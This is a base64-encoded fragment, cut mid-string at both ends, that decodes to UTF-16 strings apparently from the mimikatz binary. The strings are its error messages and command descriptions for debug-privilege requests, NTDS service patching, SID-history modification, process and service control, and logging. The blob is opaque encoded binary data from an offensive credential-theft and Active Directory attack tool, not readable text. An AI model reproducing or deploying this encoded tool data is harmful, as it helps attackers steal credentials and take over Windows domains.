kAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAKACAAfABgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAAAAAAZABlAGIAdQBnAAAAAAAAAEEAcwBrACAAZABlAGIAdQBnACAAcAByAGkAdgBpAGwAZQBnAGUAAABkAHIAaQB2AGUAcgAAAAAAQQBzAGsAIABsAG8AYQBkACAAZAByAGkAdgBlAHIAIABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABBAHMAawAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAB0AGMAYgAAAEEAcwBrACAAdABjAGIAIABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABiAGEAYwBrAHUAcAAAAAAAQQBzAGsAIABiAGEAYwBrAHUAcAAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAAcgBlAHMAdABvAHIAZQAAAEEAcwBrACAAcgBlAHMAdABvAHIAZQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAHMAeQBzAGUAbgB2AAAAAAAAAAAAAAAAAEEAcwBrACAAcwB5AHMAdABlAG0AIABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAAAAAEEAcwBrACAAYQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAYgB5ACAAaQB0AHMAIABpAGQAAAAAAAAAQQBzAGsAIABhACAAcAByAGkAdgBpAGwAZQBnAGUAIABiAHkAIABpAHQAcwAgAG4AYQBtAGUAAABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAAAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAGkAZAAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBpAGQAJwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATABVAEkARAAgAGgAaQBnAGgAIABwAGEAcgB0ACAAaQBzACAAJQB1AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBuAGEAbQBlACAAOwAgAEwAbwBvAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAFYAYQBsAHUAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATQBpAHMAcwBpAG4AZwAgACcAbgBhAG0AZQAnAAoAAAAAAAAAZQB4AHAAbwByAHQAcwAAAEwAaQBzAHQAIABlAHgAcABvAHIAdABzAAAAAAAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAAAAAAAAcwB0AGEAcgB0AAAAAAAAAFMAdABhAHIAdAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAAAAAAFQAZQByAG0AaQBuAGEAdABlACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHUAcwBwAGUAbgBkAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAHIAZQBzAHUAbQBlAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAUAByAG8AYwBlAHMAcwAgAG0AbwBkAHUAbABlAAAAAABUAHIAeQBpAG4AZwAgAHQAbwAgAHMAdABhAHIAdAAgACIAJQBzACIAIAA6ACAAAABPAEsAIAAhACAAKABQAEkARAAgACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABOAHQAVABlAHIAbQBpAG4AYQB0AGUAUAByAG8AYwBlAHMAcwAAAAAATgB0AFMAdQBzAHAAZQBuAGQAUAByAG8AYwBlAHMAcwAAAAAAAAAAAE4AdABSAGUAcwB1AG0AZQBQAHIAbwBjAGUAcwBzAAAAJQBzACAAbwBmACAAJQB1ACAAUABJAEQAIAA6ACAATwBLACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIAAlAHMAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABwAGkAZAAgACgALwBwAGkAZAA6ADEAMgAzACkAIABpAHMAIABtAGkAcwBzAGkAbgBnAAAAAAAAACUAdQAJACUAdwBaAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAG8AcABlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAoAJQB3AFoAAAAAAAAAAAAKAAkAJQBwACAALQA+ACAAJQB1AAAAAAAJACUAdQAAAAkAIAAAAAAACQAlAHAAAAAJACUAUwAAAAkALQA+ACAAJQBTAAAAAAAKAAkAJQBwACAALQA+ACAAJQBwAAkAJQBTACAAIQAgAAAAAAAlAFMAAAAAAAAAAAAjACUAdQAAAFMAdABhAHIAdAAgAHMAZQByAHYAaQBjAGUAAAAAAAAAUgBlAG0AbwB2AGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHQAbwBwACAAcwBlAHIAdgBpAGMAZQAAAAAAAAAAAFMAdQBzAHAAZQBuAGQAIABzAGUAcgB2AGkAYwBlAAAAUgBlAHMAdQBtAGUAIABzAGUAcgB2AGkAYwBlAAAAAABwAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAcwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAUwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAAAAAAAAAEwAaQBzAHQAIABzAGUAcgB2AGkAYwBlAHMAAAAAAAAAUwBlAHIAdgBpAGMAZQAgAG0AbwBkAHUAbABlAAAAAAAlAHMAIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgADoAIAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAAUwBlAHIAdgBpAGMAZQAgAG8AcABlAHIAYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAEkAbgBqAGUAYwB0ACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAKAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABzAGUAcgB2AGkAYwBlACAAbgBhAG0AZQAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAABTAHQAYQByAHQAaQBuAGcAAAAAAAAAAABSAGUAbQBvAHYAaQBuAGcAAAAAAAAAAABTAHQAbwBwAHAAaQBuAGcAAAAAAAAAAABTAHUAcwBwAGUAbgBkAGkAbgBnAAAAAABSAGUAcwB1AG0AaQBuAGcAAAAAAAAAAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABTAGgAdQB0AGQAbwB3AG4AAAAAAAAAAABzAGUAcgB2AGkAYwBlAHMALgBlAHgAZQAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABlAHIAcgBvAHIAIAAlAHUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAbABvAG8AawB1AHAAAAAAAE4AYQBtAGUAIABvAHIAIABTAEkARAAgAGwAbwBvAGsAdQBwAAAAAABxAHUAZQByAHkAAAAAAAAAUQB1AGUAcgB5ACAAbwBiAGoAZQBjAHQAIABiAHkAIABTAEkARAAgAG8AcgAgAG4AYQBtAGUAAABtAG8AZABpAGYAeQAAAAAATQBvAGQAaQBmAHkAIABvAGIAagBlAGMAdAAgAFMASQBEACAAbwBmACAAYQBuACAAbwBiAGoAZQBjAHQAAAAAAGEAZABkAAAAQQBkAGQAIABhACAAUwBJAEQAIAB0AG8AIABzAEkARABIAGkAcwB0AG8AcgB5ACAAbwBmACAAYQBuACAAbwBiAGoAZQBjAHQAAAAAAAAAAABDAGwAZQBhAHIAIABzAEkARABIAGkAcwB0AG8AcgB5ACAAbwBmACAAYQBuACAAbwBiAGoAZQBjAHQAAAAAAAAAUABhAHQAYwBoACAATgBUAEQAUwAgAFMAZQByAHYAaQBjAGUAAAAAAFMAZQBjAHUAcgBpAHQAeQAgAEkAZABlAG4AdABpAGYAaQBlAHIAcwAgAG0AbwBkAHUAbABlAAAAUwBJAEQAIAAgACAAOgAgACUAcwAKAAAAAAAAAAAAAABUAHkAcABlACAAIAA6ACAAJQBzAAoARABvAG0AYQBpAG4AOgAgACUAcwAKAE4AYQBtAGUAIAAgADoAIAAlAHMACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAATgBhAG0AZQAgACAAOgAgACUAcwAKAAAAVAB5AHAAZQAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuADoAIAAlAHMACgBTAEkARAAgACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFMAaQBkAEQAbwBtAGEAaQBuAEYAcgBvAG0ATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIAAvAHMAaQBkACAAbwByACAALwBuAGEAbQBlACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAbwBiAGoAZQBjAHQAUwBpAGQAAAAAAAAAbgBlAHcAAAAAAAAAAAAAAAoAIAAgACoAIABXAGkAbABsACAAdAByAHkAIAB0AG8AIABtAG8AZABpAGYAeQAgACcAJQBzACcAIAB0AG8AIAAnAAAAAAAAACcAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAG0AbwBkAGkAZgB5ACAAOwAgAGwAZABhAHAAXwBtAG8AZABpAGYAeQBfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBtAG8AZABpAGYAeQAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAG0AbwBkAGkAZgB5ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbQBvAGQAaQBmAHkAIAA7ACAALwBuAGUAdwA6AHMAaQBkACAAaQBzACAAbgBlAGUAZABlAGQAAAAAAAAAAABzAEkARABIAGkAcwB0AG8AcgB5AAAAAAAAAAAAAAAAAAoAIAAgACoAIABXAGkAbABsACAAdAByAHkAIAB0AG8AIABhAGQAZAAgACcAJQBzACcAIAB0AGgAaQBzACAAbgBlAHcAIABTAEkARAA6ACcAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBhAGQAZAAgADsAIABsAGQAYQBwAF8AbQBvAGQAaQBmAHkAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBhAGQAZAAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGEAZABkACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAALwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQAUwBpAGQARABvAG0AYQBpAG4ARgByAG8AbQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGEAZABkACAAOwAgAC8AbgBlAHcAOgBzAGkAZAAgAG8AcgAgAC8AbgBlAHcAOgByAGUAcwBvAGwAdgBhAGIAbABlAF8AbgBhAG0AZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAAAAAAAAAoAIAAgACoAIABXAGkAbABsACAAdAByAHkAIAB0AG8AIABjAGwAZQBhAHIAIAAnACUAcwAnADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBjAGwAZQBhAHIAIAA7ACAATgBvACAAcwBJAEQASABpAHMAdABvAHIAeQAgAGEAdAB0AHIAaQBiAHUAdABlAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AYwBsAGUAYQByACAAOwAgAGwAZABhAHAAXwBtAG8AZABpAGYAeQBfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAHMAYQBtAHMAcwAAAAAAAABuAHQAZABzAGEALgBkAGwAbAAAAAAAAABuAHQAZABzAGEAaQAuAGQAbABsAAAAAABQAGEAdABjAGgAIAAxAC8AMgA6ACAAAABQAGEAdABjAGgAIAAyAC8AMgA6ACAAAAAKACUAcwAKAAAAAAAAAAAAIAAgACUAcwA6ACAAAAAAAHMAQQBNAEEAYwBjAG8AdQBuAHQATgBhAG0AZQAAAAAAJQAqAFMACgAAAAAAAAAAAG8AYgBqAGUAYwB0AEcAVQBJAEQAAAAAAAoAIAAgACAAWwAlAHUAXQAgAAAAAAAAACAAKAAgACUAcwAgAC0ALQAgACUAcwBcACUAcwAgACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AcQB1AGkAYwBrAFMAZQBhAHIAYwBoACAAOwAgAE4AbwAgAHIAZQBzAHUAbAB0ACEAIAAtACAAZgBpAGwAdABlAHIAIAB3AGEAcwAgACcAJQBzACcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBxAHUAaQBjAGsAUwBlAGEAcgBjAGgAIAA7ACAATgBvAHQAIAB1AG4AaQBxAHUAZQAgAC0AIABQAGwAZQBhAHMAZQA6ACAAZABvAG4AJwB0ACAAYgByAGkAYwBrACAAeQBvAHUAcgAgAEEARAAhACAALQAgAGYAaQBsAHQAZQByACAAdwBhAHMAIAAnACUAcwAnAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBxAHUAaQBjAGsAUwBlAGEAcgBjAGgAIAA7ACAAbABkAGEAcABfAHMAZQBhAHIAYwBoAF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAoAHMAQQBNAEEAYwBjAG8AdQBuAHQATgBhAG0AZQA9ACUAcwApAAAAKABvAGIAagBlAGMAdABTAGkAZAA9AAAAXAAlADAAMgB4AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAALwBzAGEAbQAgAG8AcgAgAC8AcwBpAGQAIAB0AG8AIAB0AGEAcgBnAGUAdAAgAHQAaABlACAAYQBjAGMAbwB1AG4AdAAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AYgBpAG4AZABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABMAGQAYQBwAEEAbgBkAFIAbwBvAHQARABOACAAOwAgAGwAZABhAHAAXwBpAG4AaQB0AAoAAAAAAHIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAAACgAZABuAD0AUgBvAG8AdABEAFMARQApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AFIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAgADsAIABsAGQAYQBwAF8AZwBlAHQAXwB2AGEAbAB1AGUAcwBfAGwAZQBuACAAaQBzACAATgBPAFQAIAAxAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABSAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQAUgBvAG8AdABEAG8AbQBhAGkAbgBOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0ACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABlAHgAaQB0AAAAAAAAAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAAAAAABjAGwAcwAAAAAAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAAAAAAAAAAAAQQBuAHMAdwBlAHIAIAB0AG8AIAB0AGgAZQAgAFUAbAB0AGkAbQBhAHQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAG8AZgAgAEwAaQBmAGUALAAgAHQAaABlACAAVQBuAGkAdgBlAHIAcwBlACwAIABhAG4AZAAgAEUAdgBlAHIAeQB0AGgAaQBuAGcAAAAAAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAAAAAAAAcwBsAGUAZQBwAAAAAAAAAAAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAAAAAAGIAYQBzAGUANgA0AAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAZgBpAGwAZQAgAG8AdQB0AHAAdQB0AC8AYgBhAHMAZQA2ADQAIABvAHUAdABwAHUAdAAAAAAAAAAAAHYAZQByAHMAaQBvAG4AAAAAAAAAAAAAAEQAaQBzAHAAbABhAHkAIABzAG8AbQBlACAAdgBlAHIAcwBpAG8AbgAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAAAYwBkAAAAAAAAAAAAQwBoAGEAbgBnAGUAIABvAHIAIABkAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGQAaQByAGUAYwB0AG8AcgB5AAAAbQBhAHIAawByAHUAcwBzAAAAAAAAAAAATQBhAHIAawAgAGEAYgBvAHUAdAAgAFAAdABIAAAAAABzAHQAYQBuAGQAYQByAGQAAAAAAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAAAAAAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAAAAAAAAQgB5AGUAIQAKAAAAAAAAADQAMgAuAAoAAAAAAAAAAAAKACAAIAAgACAAKAAgACgACgAgACAAIAAgACAAKQAgACkACgAgACAALgBfAF8AXwBfAF8AXwAuAAoAIAAgAHwAIAAgACAAIAAgACAAfABdAAoAIAAgAFwAIAAgACAAIAAgACAALwAKACAAIAAgAGAALQAtAC0ALQAnAAoAAAAAAFMAbABlAGUAcAAgADoAIAAlAHUAIABtAHMALgAuAC4AIAAAAAAAAABFAG4AZAAgACEACgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AbABvAGcAAAAAAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAZgBvAHIAIABsAG8AZwBmAGkAbABlACAAOgAgACUAcwAKAAAAAAAAAAAAZgBhAGwAcwBlAAAAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYw